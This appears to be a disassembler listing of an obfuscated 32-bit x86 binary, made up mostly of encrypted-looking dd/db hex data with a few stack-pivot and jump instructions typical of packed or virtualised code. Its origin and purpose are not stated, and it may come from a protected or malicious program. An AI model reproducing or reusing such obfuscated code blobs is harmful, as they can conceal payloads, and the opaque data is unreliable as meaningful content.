0ADAB0890h dd 73DD8928h, 6A615BE9h, 4CD41165h, 863D3B61h, 1FBC3C2Ch dd 0F164D419h, 37B8583Bh, 67145A50h, 67CBA7CBh, 61E75C11h dd 73205651h, 0F5A4D5DFh, 45B70959h, 0E7151F10h, 0A8FC9DD0h dd 0D27E1B52h, 54F899D8h, 4D4ABA04h, 0C73D6908h, 9E4FE38Eh dd 0Ch, 78D039C7h, 0A9F7C19Ch, 7ED3B013h, 9834EB6Dh, 12BE5B92h dd 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h dd 0AA65784h, 822ECF00h, 5A5452E9h, 4C281h, 0EA830000h dd 24148704h, 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h dd 68241489h, 1815h, 53243C89h, 7273BD55h, 0EB893FF5h dd 1D09BA5Dh, 0DA01C5FBh, 4EC835Bh, 81242489h, 42404h dd 525F0000h, 3872BB53h, 5C317720h, 8F5B0424h, 77810847h dd 20387208h, 243C8B77h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 8B5C243Ch db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- db 0B7h dd 0B8DA9997h, 5F093D8h, 0E0FFC503h, 0A3EFB4Fh, 150771B7h dd 5110EB15h, 28697F27h, 4B43E70h, 775A75FCh, 74D69835h dd 3F5B328Ah, 6A66C750h, 6E59A48Dh, 0EDBC808h, 7420FBAAh dd 44EB4EB9h, 3511FF3Bh, 7E7F08EBh, 61ABh, 0D0E90000h dd 6800000Bh, 5F0968Fh, 0FAC36FE9h, 97C368FFh, 65E905F0h dd 68FFFAC3h, 5F09956h, 0FAC35BE9h, 9A7A68FFh, 51E905F0h dd 68FFFAC3h, 5F09BD2h, 0FAC347E9h, 9DC668FFh, 3DE905F0h dd 68FFFAC3h, 5F09EB2h, 0FAC333E9h, 1D3500FFh, 9AB299F6h dd 152D1E71h, 93AB91FEh, 0ED251778h, 0FE7C5106h, 701FF40Ch dd 0F798738Bh, 7718F30Bh, 5A44F87h, 1DD7593Ch, 2B89E826h dd 5903DA1Eh, 0B0ADD56Eh, 0FA96AE93h, 1C3404E9h, 6DA595F2h dd 0CCE8A586h, 0F980C800h, 0A2DAA3C0h, 9D5AABCEh, 0AD0EE81Fh dd 3EDA5DDh, 1F9CBA62h, 0EE2A63E8h, 5436441Bh, 85F33C2h dd 3C0ECACDh, 0F473069h, 8569EDE1h, 4F6C00FCh, 3851B37Dh dd 3133h, 4D48D000h, 0B35E3B42h, 0B5E81FB7h, 2AF2937Dh dd 0F3E81FB8h, 0E2AE7EBAh, 8B4BFE85h, 0C5A9E1A8h, 0C7A46792h dd 91B2DEF6h, 38516E53h, 115EDh, 3D5E0E00h, 385B374Fh dd 0EBD63850h, 0E5DA6C2Fh, 0D55403EDh, 8983BCE2h, 0A1C2AEE6h dd 6C51BFD7h, 0E50B430Fh, 0E573BDD8h, 0BD75E235h, 12FA99F5h dd 8B7314FAh, 9ECE0A73h, 0AA57F562h, 9CF55E32h, 0E235CB5Eh dd 0EBB884E7h, 4CA2EA22h, 7F4F2C40h, 0A099AC47h, 35CB5BC5h dd 0E6C50DE2h, 1D11FF17h, 122A1271h, 2496526Bh, 0A2328F6Ah dd 0CDAA7653h, 76BEE235h, 1E9FB41Ah, 188DE891h, 2DE81FDCh dd 2DA53E9h, 0A93662CBh, 0BCAE10E6h, 7F1591D9h, 95D5E6DEh dd 0C800DCB0h, 0A850023h, 0BAFB1673h, 25EDEE0Ch, 2000655Ch dd 25EE0CBBh, 0CBAE040h, 0D44880EEh, 2A49701Ch, 0F6C32860h dd 50FF4C32h, 0B1BD536Bh, 2A8D3F35h, 3B532546h, 89271602h dd 0DFC36DCDh, 960h, 6388C08Bh, 0EE053D0Ch, 6B80B881h dd 0F51E3604h, 7398B09Ah, 0C18B0924h, 400D6289h, 0C08CE308h dd 3C0C6388h, 774EEF04h, 261F0E12h, 6F70D2E8h, 0F11A3204h dd 7D96AE9Eh, 29612B48h, 4D485645h, 60286029h, 7C192019h dd 0E23588B4h, 900C440Bh, 0B0513458h, 0B0E81FB7h, 25F79678h dd 0F6E81FB8h, 3DE386BFh, 23E81FB8h, 25D087EBh, 0F23E5B62h dd 0F6E81FB7h, 0B7C66A0Fh, 529AE81Fh, 9755761Ah, 293850FEh dd 0EAh, 0D03404CAh, 79DFF678h, 0BA541C2Fh, 3DD3EBDDh dd 35BD9E5Ch, 0F50DFDE2h, 0E61EEF8Ch, 0C3680408h, 0F095DCACh dd 0E235BD30h, 6886BE8Fh, 7830F864h, 0F792AB96h, 0E235BD29h dd 0B49BF73Fh, 0AACFB6F9h, 0E81FCAFBh, 6BA36B08h, 0E3AA8985h dd 254945ABh, 0EFDA31F9h, 6A84BC8Ch, 68250A66h, 0D53B5E27h dd 6EEE0CA5h, 60FAF1AAh, 0A9C5994Ah, 0FDC4BD75h, 0CDC9898h dd 0A38048EEh, 4549A7DFh, 0ED291029h, 0CFF2015Bh, 0B1D2BEE4h dd 0CFF68FC7h, 0D8086AAh, 56DABFEEh, 0AEE0D80h, 0FA965EC2h dd 344C3E51h, 888EE30Dh, 0CED27CCDh, 82Ch, 37DCF4C7h, 0B2597158h dd 3FD4ECDDh, 0B9526A50h, 47ACE4D6h, 0CDBF3D10h, 4C315EB5h dd 0CCB0DF34h, 48305FB4h, 437ADB30h, 261FFA26h, 534CEEE8h dd 364E3D5Eh, 374F395Ah, 0B3CBB3DCh, 3D5E4758h, 3B58344Ch dd 0B2D53B53h, 7A59B2CAh, 4EE8B83Bh, 2EC24E8h, 7AAF8A0Eh dd 7D2BD6E2h, 0ACE46C01h, 0F1F89DE4h, 0F7E8202Ah, 5925463Fh dd 0AFC3CF21h, 7E966601h, 4A64A095h, 56C5F1C3h, 0DFAFCCA0h dd 8EC6FECCh, 0F53C0160h, 0ECFF6F65h, 748C7CE9h, 0F008F09Fh dd 0E820EA89h, 0E24B2A84h, 816F65F4h, 0B686DF1Ah, 321A759Eh dd 8495F41Ah, 0E46F65F5h, 0EDDD8873h, 0C1547019h, 49CDDF40h dd 6265012Ch, 846F277Ch, 9E2723EBh, 13EB2B97h, 97DFF7C1h dd 5FA58BEEh, 73BB6F66h, 5921423Bh, 0AFC3CF21h, 246B2A01h dd 8505385Dh, 13DB7550h, 0E0AECDF8h, 5B3EF464h, 125AF1BBh dd 5B54517Eh, 7EA64722h, 19BA7B3Ah, 2D541C34h, 264A824Eh dd 7F44E988h, 0CEE97B3Ah, 0C1D2120Bh, 876ECB6Bh, 8D000003h dd 0DF1BC52Fh, 1E33B456h, 0C234F2Eh, 2671E91h, 0E8205F5Fh dd 34FDC901h, 171130F0h, 4F237B82h, 2EC4422Ah, 0D7D8D569h dd 0E7EECBAEh, 51F26F18h, 0F31D556Dh, 0ABD2DDD8h, 697FECEh dd 87C30775h, 659D6D73h, 5EBBF7E1h, 0EC1C1035h, 0ABC78FA6h dd 45EB8E77h, 1B75068Eh, 81E29BD3h, 0E820EAB9h, 0A9420A06h dd 0E7DEF6C6h, 468F80C7h, 99AEB21Ch, 52000006h, 0ABC42F67h dd 2847ACE4h, 0A3CC275Fh, 214EA5DDh, 83D43F57h, 225A2CAEh dd 0A1D9A6C9h, 2159254Ah, 0BDD5A5CAh, 0ABCEF756h, 0E8262285h dd 48E6F95Bh, 583B424Dh, 0F365A72h, 1FAC7F6Ah, 47A961E8h dd 0C996BE7Ah, 4F4E2A3Dh, 40784023h, 0A1C40039h, 82CBE8BFh dd 0C9BD6346h, 6BA3E81Fh, 8DD6A907h, 515E5F4Ah, 4A824B28h dd 1F261F26h, 1FC9B67Ah, 4009AAE8h, 0A2EAE608h, 0E884BC81h dd 9EE5C8Dh, 0BDC40CEEh, 0A0D9F1DEh, 9EE5BC5h, 0A9C50DEEh dd 659D6D02h, 78907F1Ch, 0EDDDBA14h, 7FE43BD5h, 467FBB7Ch dd 0D1EEE3C1h, 84CC04F4h, 7BC11C00h, 88E4A909h, 182723EBh dd 7B53A16Dh, 468EBA3Eh, 0FBD08E25h, 0A96D58B3h, 0D9F45B5Dh dd 0C3E08CA8h, 3E3B0B01h, 239BFh, 4D485C00h, 67023B42h dd 0E23588B9h, 320B67AFh, 6AA2680Bh, 1D6E6306h, 0BA72E826h dd 0B499FAC3h, 1D77B99Ch, 0A169E826h, 0A597F4CDh, 1FE9866Dh dd 573409E7h, 26432F67h, 0E8261CF5h, 152C6454h, 0D36FF1E7h dd 75B2AE00h, 7E000005h, 0F798738Bh, 741BF008h, 0CFA04B83h dd 4D22C901h, 0FFA8437Bh, 2E6650D2h, 0ADE5AAC5h, 2D652946h dd 0A9E1A9C6h, 0BFDAE342h, 0E8262371h, 48CAD577h, 583B424Dh dd 0B4B8566Eh, 4D84E1D8h, 13E8261Eh, 6A5235DBh, 0E6D6B952h dd 0C7B4D7AEh, 0E7B19A43h, 5D158170h, 9B758D7Eh, 3255FB97h dd 3DC324Ah, 86AACFF6h, 5AE825EBh, 0E820815Eh, 38700B95h dd 8DD80354h, 416E85BDh, 3857AD83h, 16D3Dh, 0A997F400h dd 1F737F91h, 1C34040Ch, 6DA595F2h, 0A7E8A586h, 9D4ABBDEh dd 0D61EE81Fh, 9CD35938h, 7F58E81Fh, 0E023A17Ch, 31DD3850h dd 3E000000h, 3B424D48h, 1FB7B35Eh, 47DB5E8h, 8E609867h dd 7D40EE82h, 0FB152D1Eh, 0DF97AF9Ch, 0B846D6B3h, 0F0D7E81Fh dd 0FECC1805h, 0C9643850h, 87000000h, 0F21C3404h, 856BA395h dd 0CE21AE2h, 806BA36Bh, 358E11E9h, 6E0B32E2h, 0E2358DC2h dd 8DFA2643h, 26EEE235h, 695172BAh, 6E5E3D51h, 1F9EBD56h dd 8E5CC4A1h, 0C40CE235h, 10FE16E7h, 482D541Ch, 0E8226946h dd 0B7CFB91Ah, 0DCBF86FFh, 0D9BAD6EEh, 0B8D0BCEFh, 0D5B089F0h dd 0E822694Bh, 12B9D51Dh, 27428B7Dh, 0E82268F9h, 566F27EFh dd 0D373A622h, 1DEBF759h, 0D6000004h, 2F40ABE3h, 0ACC32860h dd 2748A3DBh, 0A5CA2159h, 750BBD3h, 0A6DEA82Ah, 255D224Dh dd 0A5DDA1CEh, 2159214Eh, 37526BCAh, 0E82623E9h, 5E425DFFh dd 1B38503Dh, 15761A32h, 6F00EB23h, 7D1E679Fh, 42C4990h dd 0E4E23589h, 7747642Ch, 8798335Fh, 1E02675Eh, 0C2E23589h dd 3505660Ah, 0ADCEF31Dh, 4A46A8E0h, 5D754526h, 971895B6h dd 0AEB28BEEh, 7EB6E81Fh, 0AF2DF190h, 0BD8CE81Fh, 400C6B85h dd 0A239E608h, 45DE4537h, 89068792h, 0D49895F0h, 8048EE09h dd 3D5E746Bh dd 0D6DA344Ch, 8D83A652h, 2844F941h, 5A20834Bh, 6AAA7613h dd 76BEE236h, 94DCD03Eh, 0D4B29EDh, 2EABAF8Ah, 0C38BEC42h dd 4243608Bh, 0D7F0344Dh, 0C24F7E09h, 0ED251536h, 5A630F03h dd 2040C63Fh, 2B529AE8h, 0E0140AEFh, 30FE119h, 352C9087h dd 8696F759h, 97E82048h, 0F9F1ADEh, 0F2404FF2h, 2C7C44D5h dd 0EB87CF9Eh, 606C39BCh, 10385179h, 5Eh, 2675EF3h, 0E235891Eh dd 49660AC2h, 5F3A434Ch, 0E81FB7B2h, 0AD907EB6h, 0DBACFFCEh dd 6205EBA3h, 412D659Dh, 1FB7F824h, 456657E8h, 0A2AE4078h dd 9C6304EAh, 0CE558A64h, 2168390Bh, 0AC427A42h, 609BCCA0h dd 50FE8745h, 28127138h, 0A6C3FE10h, 0E81FAC7Ah, 82EEA66Eh dd 0CAF3h, 34041000h, 9C728A77h, 0B36D890h, 88C95732h dd 579FE235h, 566E583Bh, 1AE685B8h, 6C000CE2h, 55363F0Fh dd 0CDC12F67h, 358948E8h, 98D018E2h, 11291176h, 8E5793FAh dd 0C6B6E235h, 420A658Eh, 2710730Ah, 6126E023h, 0B9F1D314h dd 99375B57h, 0C5BCF3B2h, 2015E5A0h, 0D833FBE8h, 8CF5BAFBh dd 72DB2348h, 58DC3C31h, 0CD402BF1h, 2D14785Bh, 0C784048h dd 91E820EEh, 1BF008F2h, 734A8274h, 0CD899711h, 29F8E44Ah dd 0C2000002h, 5B34DFF7h, 0D8B75C74h, 533CD7EFh, 0D1BE556Dh dd 1344AFE7h, 0B2CABC3Eh, 31493659h, 0B1C9B5DAh, 0D45355Ah dd 1B7E47E6h, 0E8262615h, 47669CBh, 9833D632h, 6583421Eh dd 0E1A9C62Dh, 485D42A9h, 5E3B424Dh, 0E81FB7B3h, 67047DB5h dd 0A30D6199h, 0C910FD9Eh, 1FB884ACh, 0E4AC64E8h, 5825060Ah dd 0AEC2CE20h, 1FB861CBh, 0B8D0B8E8h, 334B3156h, 0BBD3BADDh dd 0F3C530A7h, 4B5285A2h, 3850FE79h, 0D037h, 3404D400h dd 0A395F21Ch, 6E4856Bh, 65E2358Eh, 0A3967D95h, 0B3DFF7C0h dd 3ED0E8D0h, 6E179815h, 1F958A0Bh, 0EF965EE8h, 834EBA8Ch dd 101ACE04h, 3299F5BDh, 621B9411h, 0C7E1207h, 0CCD2D6EEh dd 0CB95B7D1h, 0A2C1B8F0h, 0CC04CBD8h, 32572E22h, 0EE0C66EEh dd 99723AF2h, 0F5CC04F6h, 0CD89A7ADh, 3D706CC2h, 0B6000001h dd 0F608BC3h, 8CE30840h, 76883BBh, 85EA0139h, 27709BB3h dd 86BE880Ah, 53D026Dh, 85BD81EEh, 139016Eh, 17724BEAh dd 0E8262709h, 5E627DDFh, 0D638503Dh, 89A28EEBh, 8E46E235h dd 0FFC9AAC6h, 86AACFF6h, 5AE23589h, 8969B792h, 0B77FE235h dd 0E52114FFh, 0AF732DCAh, 51325E07h, 0EC285169h, 0C8CC9485h dd 842F43CBh, 1C34049Bh, 0E0ACCFF2h, 264A46A8h, 0B65D7545h dd 0EFC1895h, 0A2C7BEF6h, 0E8261E2Bh, 9C84E1D8h, 4CE8261Eh dd 9734E884h, 8D816FA7h, 7C4C2BC5h, 0C729612Fh, 0CA7C507h dd 367E1B5Bh, 12FA957Eh, 0ED2914FAh, 6C909DB9h, 0E6B0706h dd 4C822CF2h, 0A6488049h, 2BC5FDC1h, 0FACC0F54h, 94F1C8B5h dd 4C822D8Ch, 0AFF8945Ch, 37526B2Ch, 4C822CE9h, 385B37FFh dd 0BCD33850h, 3D5AB4CCh, 8A4E374Fh, 3A5E03F3h, 1FB1DD4Dh dd 99778F78h, 14FA12FEh, 0F3C5306Bh, 0FD6893C8h, 7FA1C40Dh dd 614C81E8h, 8CC48AA9h, 5F266E62h, 0E81D0366h, 0BC34C81h dd 0C0F9CC67h, 81E87BA5h, 0C9A56D4Ch, 44AAE2AAh, 0F58h dd 774E0B00h, 0EE2614h, 28602F0Ch, 0B5A6CAC6h, 0F7193104h dd 7E90A890h, 0F31D3519h, 816FA794h, 12FC14E6h, 0A54B8375h dd 2AC4FCC2h, 0AA447C4Dh, 28C6FECDh, 0E7895701h, 4C781h dd 0BB530000h, 4, 875BDF29h, 685C243Ch, 5493h, 68242C89h dd 1AE6h, 68243489h, 4533h, 0BF243C89h, 5F09504h, 545FFD89h dd 8124348Bh, 4C4h, 4815500h, 1047A224h, 8468F31h, 47A2B951h dd 4E293110h, 34FF5908h, 0C4815E24h, 4, 5D2434FFh, 4C481h dd 0B5E90000h, 91FFFAB7h, 437AD038h, 392AA182h, 0B8228C8Ah dd 5F0A014h, 0E0FFC503h, 36FAA82Dh, 21FAEF4Fh, 3F0ECD0Bh dd 46B4D5AFh, 256424C2h, 0DE8h, 0EBE16A00h, 93706450h dd 0D8D3EF53h, 800FA9F0h, 0 aZFbJ db 'Z╣■│б]j',0 dd 22890F00h, 0E8000000h, 11h, 80A221Fh, 4817B7F1h, 9241C16Fh dd 518C821h, 6E9ECh, 723C0000h, 5758D95Ah, 1A606859h, 0C88A0000h dd 0E932FF5Bh, 11h, 690AADAFh, 0E83361C4h, 8CF4C4B6h, 1892EEE4h dd 870F58CFh, 5, 77C491BEh, 0F7F08151h, 8A4725FFh, 0D0C081ECh dd 0F47B96Eh, 2A87h, 14E800h, 49830000h, 0E92FEFDFh, 0C85C1381h dd 275809CDh, 90C004DDh, 0BE95F8Bh, 0EE000000h, 9310C13Ch dd 4074A9F3h, 815E1E5Eh, 596AC3C0h, 89F08B41h, 0FE902h dd 28C60000h, 0A213FF89h, 21451F85h, 6ABDD9F9h, 1EA8324h dd 4AF2BF0Fh, 0F4B4A4Ah, 0FFFF7085h, 0C18166FFh, 4EB68EBh dd 40F9FA2Fh, 56BE9h, 0D87FF100h, 5C01768Ch, 0DC81F208h dd 52FF7288h, 0DD7EFC06h, 0D4AE2F89h, 5BA1F5A6h, 0CE346013h dd 47BDE98Eh, 9D37630Eh, 7C7BD0Fh, 0B63A1D47h, 49E86D1Fh dd 0C86BEFE5h, 42EF669Ch, 0F271E4EEh, 56676C40h, 0B221DF17h dd 0AFC3AF03h, 676943F1h, 44DC1756h, 498E8428h, 0BC323894h dd 365AF979h, 0B162909Ah, 81F34D1Dh, 63C7681Dh, 7E121488h dd 0E6097B71h, 84B5350Fh, 51F22D6Eh, 8F411E57h, 6B07AB46h dd 56B3271Dh, 3C53C017h, 0E9A421FEh, 3E6A069Eh, 0B3E798C4h dd 0F8540B49h, 73DF7CF2h, 286F9D23h, 0A55F0BACh, 45DF8130h dd 575BFDF7h, 6F782A17h, 2D45E551h, 89C8C25Ah, 9DEB4BE8h dd 17567AAAh, 95C40A58h, 872448E4h, 0BA4E97C5h, 0C1340E4Dh dd 8C2FCA0Fh, 8DD5h, 0E86D8C00h, 21BBE549h, 0C3B568EFh dd 175666E9h, 66EDC775h, 0D8401756h, 0CD8476AFh, 0BFF01375h dd 380A70D3h, 0FA17568Dh, 606AC673h, 0E0EF43F4h, 695B7AEAh dd 0D685F53Bh, 0F7B5167Ah, 5F907885h, 1FC340Eh, 0A5000000h dd 0E74BEA6Dh, 67CB6AEDh, 0E14DEC6Dh, 19B568EBh, 923EE113h dd 0D508743Ah, 0E85AC0DAh, 17566714h, 1E5CFF67h, 3626A9EEh dd 0D6E09919h, 0C7DFF243h, 21F7651h, 6D97C3AFh, 8D1749E8h dd 569B453Fh, 8320B817h, 0ED6D82DBh, 9E3BB27Ch, 566714E8h dd 93FF6717h, 13C2353Fh, 0F4F0A44Dh, 0A8FF44D9h, 371A7627h dd 632E1DDFh, 8A80BE8h, 397EEEA0h, 0DE441AB9h, 5756986Ch dd 0D073EB17h, 1FFB7288h, 33771644h, 1BB7DBABh, 96498B45h dd 1DC03335h, 5D93CDB1h, 9AD87B1Ah, 0E085636Ah, 87F1340Eh dd 0A8000000h, 0E24EED6Dh, 19FD72BCh, 5074285Dh, 1E1478EBh dd 9D9B38DDh, 1C13BF5Eh, 0A1D1E616h, 1E5CA6F2h, 96DBD17Dh dd 752B57FBh, 6699A49Ch, 5726E0D4h, 0E6CB5317h, 73D0D9C8h dd 3AA0C331h, 5765B488h, 3C9F0717h, 0F3E7474h, 6C8034h dd 6DD90000h, 0F6CE7CEDh, 49175666h, 67D5FCD1h, 0EB9447A4h dd 0B3212B87h, 0A5BB520Ch, 2BC60BFFh, 43D3BB06h, 74A40E0h dd 8FCCC66Ah, 0AAE842EEh, 613F1B3Ah, 8536A4F3h, 0EA6D88D1h dd 893AD30Ah, 5684413Bh, 12CB417h, 103DB455h, 288A41CFh dd 0ACC0D5h, 566B8176h, 81F3B117h, 0E3D8474h, 0C435FB34h dd 76D5B915h, 12Fh, 0EE6D7600h, 64E9E34Fh, 0F74919B5h dd 10C53685h, 916CBD44h, 447A7DCFh, 55CD12BCh, 4923910Bh dd 0BC116C42h, 8D570924h, 1E84F672h, 0DE171DBDh, 589D6733h dd 0AA29E7B9h, 41B18B39h, 9C04116Ch, 85F353F0h, 116C41B5h dd 0A4D71957h, 0E41052F1h, 0A7F39ED7h, 7B38185Dh, 0DC3F5692h dd 510FA3CFh, 738379CBh, 6EF6116Bh, 0B182CBCDh, 533F9342h dd 753B933Fh, 0B60DE407h, 0E120591h, 2273D5F8h, 4D27CDDEh dd 0B465E8EEh, 7B824EAh, 9C52FCA4h, 541CBF60h, 2E23B3A4h dd 12CD0h, 0D5977E00h, 0CE34E428h, 6EC267C4h, 67B2241Bh dd 872B47F2h, 0C372E1EBh, 0CC43F1AFh, 7F12BC74h, 0C414BE7h dd 8AC3396Dh, 0D31D43EFh, 92D5F89Bh, 948B39E2h, 6BE2E447h dd 84CA62CEh, 6F0A4358h, 2123D831h, 65F4D5AEh, 5E2A9EC6h dd 0AE2E239Ch, 59h, 4E276EF7h, 2AB3F910h, 7E099E1Eh, 0FC158FDDh dd 1746F85h, 106AC924h, 1756794Ch, 26C2E63Fh, 665C8FABh dd 0AC63F89Ah, 365A3684h, 1C18EC9Ah, 0F4B61757h, 4FFD6788h dd 17571C75h, 0F6F350C8h, 2A98C6AFh, 17571C82h, 976DDF75h dd 0EA17571Ch, 6B4A1E72h, 81h, 31B6E32h, 27980E31h, 0D18FE3D9h dd 0A554854Bh, 94733D88h, 0F0534DAFh, 0BCB9398Ah, 3DB24C12h dd 34583498h, 0BE5B9298h, 3CDD10EAh, 0AF27CE90h, 0B1EC7ED8h dd 66A074Ah, 4EAEDFA5h, 500E116Dh, 0CC0DC324h, 0E7ED812Dh dd 6660C36Eh, 0EF1642EFh, 2F9DC39Ah, 0CBDAECAh, 0FA97DE10h dd 16BA2259h, 1E5ED91Ch, 0D5B9D579h, 65972979h, 27794455h dd 0CD0D1495h, 7BC96306h, 58C0B81h, 54006CF4h, 421B6E0Dh dd 0AE1C861Ch, 175666D6h, 6812B129h, 12A6C809h, 70BEE078h dd 91FD5102h, 55989232h, 0C30AF0A4h, 39CCBA16h, 704C6E9Bh dd 488D0A7Ah, 0CE07FDA9h, 4BD18F23h, 0D3A55485h, 0CC5C68D9h dd 1117B42Ch, 0CD9D31E0h, 33BA0173h, 0A528D286h, 698074C6h dd 59F3CC5Ch, 5C6911EBh, 90FC64CCh, 38150FCh, 0D8000000h dd 0EB6DA508h, 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh dd 579B913Dh, 0CF0208A4h, 57848E22h, 0CF000AA6h, 53E9822Eh dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 25C368h, 240C8900h dd 28461DBEh, 0D6F74608h, 0BAC68146h, 680E18E7h, 6E3Fh dd 81242489h, 42404h, 83590000h, 348904ECh, 24348124h dd 38127150h, 8108418Fh, 71500871h, 34FF3812h, 0C4835924h dd 24348B04h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch dd 0FFF9D77Eh, 61E2065Ah, 1D8DCFA1h, 325599F8h, 0F0A672B8h dd 0FFC50305h, 86E7BFE0h, 8201176Dh, 659E8032h, 977BC253h dd 5628174Dh, 52B3AD23h, 88624243h, 0BA4BF420h, 0E7E77263h dd 5F6D2206h, 73C09F48h, 6E1FA91Ah, 0F1EC7859h, 6B329308h dd 8F899B08h, 51A18B5Bh, 4C02F86Dh, 1CE6C762h, 68113F70h dd 3A0D9B2Eh, 7AAD877Dh, 0BA6D037Eh, 9E847h, 4FE70000h dd 1CA4C3C5h, 0E89EFC43h, 9, 749DC6F9h, 743A88D4h, 31B9665Bh dd 665B582Eh, 817009B8h, 6C9CC3h, 0B301BE00h, 0C681641Bh dd 9BE46805h, 0C880138Bh, 48F2818Bh, 66179DA7h, 0C281FA8Bh dd 549FD1C0h, 5E9h, 438DED00h, 0C2815C7Fh, 6636CDB4h, 52C78B66h dd 0DE8h, 0E88A7D00h, 0C7FC5AA7h, 54F633h, 8F59A216h, 6E903h dd 0EF4F0000h, 0CF145C9Fh, 0B504EB83h, 850F4EF7h, 0FFFFFFACh dd 8D8DCE8Bh, 5F0A8DAh, 0BF9B589h, 8D8905EAh, 5EA0ADDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5AC35141h dd 2083480Bh, 928469Bh, 0ACD85C7h, 6F4005EAh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 9A6890C3h, 0F585C7FFh, 5EA25h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0ACF6C355h, 8D1ABFE2h, 8B5775BAh, 0EA1BDDB5h, 0B5FF5B05h dd 5EA2581h, 2C99858Bh, 95FF05EAh, 5EA2A19h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7DC35646h, 0F18B6660h dd 118E0Fh, 0CE90000h, 0F8000000h, 6EC51083h dd 98D91AF3h, 6175086Eh, 95FF006Ah, 5EA1015h, 59EBC08Bh dd 0C757B43Eh, 8AB97BE4h, 4634100Ch, 0E8FC95B3h, 37DA6B19h dd 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh, 7D2FC3D6h, 2EADCB77h dd 66D37DB3h, 0BA4332ACh, 27CD26CBh, 0BE1DA3F8h, 8895D7B4h dd 6FF23215h, 847FBB2Bh, 233A2194h, 98CF0631h, 0D88F5594h dd 2F78D56Ch, 3ABFC218h, 0A004EB51h, 0E942CAB0h, 5C3h dd 0A1F5AA2Eh, 3561145Bh, 0BDE98CCFh, 33671247h, 0BEEA89C9h dd 75E59918h, 0E66892C6h, 599B6135h, 0C508F2A6h, 78EA4014h dd 470FF2CAh, 60C9451Dh, 0E549E86Dh, 9CC86BEFh, 0B124EF66h dd 0CAC06C00h, 9D3EB083h, 6F315D31h, 848E2DA1h, 6408A455h dd 0EA6D67C7h, 0E2E8E74Bh, 1B02572h, 262CC55Fh, 33C38B66h dd 8CE7DDABh, 0C25A1756h, 0DFAE7CEFh, 3093957Bh, 0EE5CC668h dd 17573316h, 5452F169h, 0D9237728h, 74BAE49Bh, 90FC5001h dd 55999333h, 0E45A0AA6h, 5FED7778h, 17573365h, 0E5E340D8h dd 6C40F277h, 0A2175733h, 2CF5822Fh, 800113A8h, 2B066ABAh dd 97E37808h, 7533F23h, 0CF9878FDh, 0BEFC9A5Fh, 0BB589E94h dd 3A0D7BD7h, 0C817570Ch, 65135A8Ah, 91340EDEh, 59h, 49E86DC8h dd 669F93E5h, 0E9AB1756h, 3886727Bh, 1F6340Eh, 0AF000000h dd 0AD2DEA6Dh, 0F23C620Eh, 1C70DC81h, 0E2151FBFh, 64959F33h dd 0C371EBB5h, 175666E9h, 7403B221h, 2C00B2ECh, 9F175667h dd 0B04A407h, 93C4D301h, 0D618B6E2h, 0B566949Fh, 0BA1975D9h dd 0CC9839BCh, 4EED6D95h, 0B667E8E2h, 90FCB21Ah, 0C80BC55Fh dd 67896315h, 53811756h, 1B6C00ACh, 0ADC170E5h, 29CA080Eh dd 0A34E877Dh, 5DBF33FDh, 7AEE3263h, 5DFE92F3h, 0D184F7FDh dd 1D4F017Dh, 0EE518D0h, 836434h, 4CA0000h, 0E18D21D2h dd 0ED6DE742h, 6BE8E24Eh, 636966CAh, 8B28AAF1h, 6B525DFh dd 7F1DF4AAh, 0EF94528Eh, 973BD81Ah, 323497FBh, 0C2BE12BFh dd 5315608Ch, 0A8340ED9h, 0EC40F566h, 6AC673E6h, 90C96A06h dd 93h, 4EED6DC9h, 0FE9BDE10h, 671A12A0h, 0F56D1756h, 80FCF656h dd 2A8635B9h, 0D2AA1846h, 25175666h, 418FD1BDh, 6FCF6C13h dd 0D0E7154Bh, 0BA5F1A2h, 7B165F91h, 5667370Dh, 0B1128A17h dd 85F73914h, 7771D2h, 2B99035Dh, 17566751h, 0E0113CA4h dd 0B6D7EBA2h, 8AFC5CFFh, 175710B5h, 0BA330475h, 0D5DF731Fh dd 555AF6A5h, 3A082D5Fh, 0B0278168h, 0B7B62F82h, 0DF265614h dd 340F2829h, 1255h, 0C012FB00h, 2A56897Eh, 0DCD0623Ch dd 2F1756AAh, 6DB114B7h, 0F5CF7DEEh, 48175666h, 1A10BCD0h dd 3C8E14D3h, 17566748h, 5F5523BBh, 0D2175667h, 0DA8A264Ah dd 30A3F864h, 0D920D98Dh, 0FFE0520Ch, 7212BC43h, 94C46EAh dd 8923C68h, 6C41C2BAh, 80AD3511h, 96E11FD8h, 999F3CC0h dd 4F259754h, 0A2116C5Eh, 8CFA563Ah, 116C5DBEh, 9CDE105Eh dd 0EE1E5CFFh, 2B7524A9h, 60C372E5h, 0EE8BC238h, 199059B0h dd 1953713Bh, 0DD101ABAh, 730B47Dh, 1A376EA7h, 0B4A2D02Bh dd 6E305CC1h, 218D2EA0h, 0DEF7CD7Fh, 0D24A116Bh, 15BD1DBEh dd 5B92295Bh, 0AA5EEABEh, 0DA2E23B1h, 14Fh, 241B6E83h dd 0F71841B1h, 12AC88A3h, 0FE4C127Eh, 12BD4169h, 2228841Ch dd 0A05A0EABh, 2A208C2Dh, 66A8F6A3h, 6B724EFh, 2A98C66Ah dd 116D1F52h, 0F2513DA5h, 66175852h, 0E192C0CAh, 1C48424Dh dd 0ED1F51F9h, 773A13FAh, 5A7724AAh, 63C0D648h, 7900F065h dd 42F56731h, 0CFB62F6Fh, 0B543F7A3h, 0C12E2519h, 67h dd 11A33998h, 1756671Bh, 5055F66Eh, 7703955h, 42D7C85Bh dd 66A0B48h, 0B6639658h, 87D5761Ah, 56ED6F35h, 76DA4217h dd 0C176E628h, 0D8A2016Dh, 1756ECE4h, 5AF6A32Ah, 0D17D1E50h dd 439ABF5h, 3880ECAEh, 500576FDh, 